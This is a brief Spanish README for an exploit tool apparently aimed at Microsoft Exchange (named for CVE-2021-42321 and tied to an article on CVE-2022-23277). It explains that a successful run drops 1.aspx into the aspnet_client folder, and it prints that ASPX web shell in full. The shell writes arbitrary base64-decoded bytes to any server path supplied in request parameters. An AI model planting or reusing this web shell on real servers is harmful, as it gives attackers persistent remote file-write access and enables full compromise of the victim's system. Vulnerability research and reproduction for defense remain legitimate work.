exch_CVE-2021-42321

Este artículo es la herramienta mencionada en el artículo del equipo de seguridad 7bits "DotNet Security - Reproducción de la vulnerabilidad CVE-2022-23277"

La parte de autenticación debe agregarse manualmente a través de Burp Suite. Después de una explotación exitosa, se escribirá 1.aspx en aspnet_client.

Webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

Para más detalles sobre la explotación, consulte nuestro artículo.

¡Siga nuestra cuenta pública - Zbits2022!